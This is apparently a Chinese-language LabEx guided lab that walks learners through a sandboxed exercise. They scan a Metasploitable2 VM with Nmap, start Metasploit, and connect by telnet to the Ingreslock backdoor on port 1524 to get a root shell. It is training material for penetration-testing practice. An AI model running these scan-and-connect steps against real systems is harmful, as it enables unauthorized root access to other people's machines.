使用 Nmap 攻击 Ingreslock 漏洞

NmapBeginner
立即练习

介绍

在本实验中,你将学习如何利用 Ingreslock 服务漏洞获取目标机器的 root 权限。实验环境基于 LabEx 提供的 Kali 和 Metasploitable2 虚拟机。本实验的目标是理解 Ingreslock 漏洞,使用 Nmap 进行渗透扫描,并最终通过利用 Ingreslock 后门获取 Metasploitable2 机器的 root 权限。

这是一个实验(Guided Lab),提供逐步指导来帮助你学习和实践。请仔细按照说明完成每个步骤,获得实际操作经验。根据历史数据,这是一个 初级 级别的实验,完成率为 96%。获得了学习者 95% 的好评率。

了解 Ingreslock 漏洞并搭建环境

Ingreslock 漏洞是一个古老但仍然具有相关性的安全缺陷,与 Ingres 数据库管理系统(DBMS)相关。攻击者通常将 TCP 端口 1524 用作后门端口,以维持对受攻击系统的访问。

在这一步中,你将了解 Ingreslock 漏洞及其影响。

Ingreslock 漏洞的根源在于,TCP 端口 1524 通常被攻击者在成功入侵系统后用作后门监听端口。利用此漏洞的简单性在于,只需连接到开放的端口即可获得目标机器的 root 级别访问权限。

尽管此漏洞被认为是古老的,但它仍然存在于一些遗留系统中,因此在受控环境中理解和探索它仍然具有价值。

  1. 在 LabEx 主机上打开一个 xfce 终端,并通过运行以下命令启动 Metasploitable2 目标机:
sudo virsh start Metasploitable2

等待目标机器启动,可能需要 1-3 分钟。

  1. 通过 ping 测试与目标机的连接性:
ping 192.168.122.102

Ctrl+C 停止 ping。

  1. 启动 Kali Linux 容器并通过以下命令进入 bash 环境:
docker run -ti --network host b5b709a49cd5 bash
  1. 在 Kali 容器内,测试与目标机的网络连接:
ping 192.168.122.102

Ctrl+C 停止 ping。

进行渗透扫描

在这一步中,你将使用 Nmap 对 Metasploitable2 目标机执行渗透扫描,以识别目标机上开放的端口和运行的服务。

  1. 启动 Metasploitable2 虚拟机并确保其正在运行。
  2. 启动 Kali 容器并进入 bash shell。
  3. 在 Kali 容器内,运行以下命令对目标机执行全面扫描:
nmap -sV -T4 target-ip-address

-sV 选项指示 Nmap 探测开放端口以确定服务/版本信息,而 -T4 将定时模板设置为激进级别(从 0 到 5 的更高值会增加激进程度)。

启动 PostgreSQL 服务并初始化 Metasploit 数据库:

cd ~
service postgresql start
msfdb init

启动 Metasploit 控制台:

msfconsole

对目标机执行全面扫描:

nmap -sV -T4 192.168.122.102

以下是你可能看到的输出示例:

[*] exec: nmap -sV -T4 192.168.122.102

Starting Nmap 7.94 ( https://nmap.org ) at 2024-03-24 20:47 UTC
Nmap scan report for 192.168.122.102
Host is up (0.0037s latency).
Not shown: 977 closed tcp ports (reset)
PORT     STATE SERVICE     VERSION
21/tcp   open  ftp         vsftpd 2.3.4
22/tcp   open  ssh         OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp   open  telnet      Linux telnetd
25/tcp   open  smtp        Postfix smtpd
53/tcp   open  domain      ISC BIND 9.4.2
80/tcp   open  http        Apache httpd 2.2.8 ((Ubuntu) DAV/2)
111/tcp  open  rpcbind     2 (RPC #100000)
139/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
512/tcp  open  exec?
513/tcp  open  login
514/tcp  open  shell?

...

这一系列命令启动了 PostgreSQL 服务,初始化了 Metasploit 数据库,启动了 Metasploit 控制台,然后使用 Nmap 对目标机执行了全面扫描。

按 Ctrl+D 退出 Metasploit 控制台,然后开始检查

利用 Ingreslock 后门

在这一步中,你将利用 Ingreslock 后门漏洞获取 Metasploitable2 目标机的 root 权限。

  1. 首先,如果你不在 Metasploit 控制台中,请启动 Metasploit 控制台:
cd ~
msfconsole
  1. 在 Metasploit 控制台中安装 telnet 包:
apt-key del ED444FF07D8D0BF6 && apt-key adv --keyserver keyserver.ubuntu.com --recv-keys ED444FF07D8D0BF6 && apt update && apt install telnet
  1. 使用 telnet 命令连接到目标机的 Ingreslock 后门端口:
telnet 192.168.122.102 1524

如果连接成功,你应该会获得目标机的 root 权限。

  1. 现在,你需要通过检查被入侵机器的 IP 地址、主机名和当前用户来验证 Ingreslock 后门的利用是否成功。通过 Ingreslock 后门连接到目标机后,运行以下命令:

检查被入侵机器的 IP 地址:

ifconfig

检查被入侵机器的主机名:

hostname

检查被入侵机器的当前用户:

whoami

如果利用成功,你应该会看到目标机的 IP 地址、主机名以及当前用户为 root

按 Ctrl+D 退出 Metasploit 控制台,然后开始检查

总结

在本实验中,你了解了 Ingreslock 漏洞,该漏洞允许攻击者通过连接到 TCP 端口 1524 获取受攻击系统的 root 权限。你使用 Nmap 执行了渗透扫描,以识别目标机上开放的端口和服务。在检测到 Ingreslock 后门端口后,你利用 telnet 命令成功利用了该漏洞,获取了 root 权限。最后,你通过检查被入侵机器的 IP 地址、主机名和当前用户,验证了漏洞利用的成功。本实验为你提供了理解和利用真实世界漏洞的实践经验,强调了安全补丁和系统加固以防止此类后门的重要性。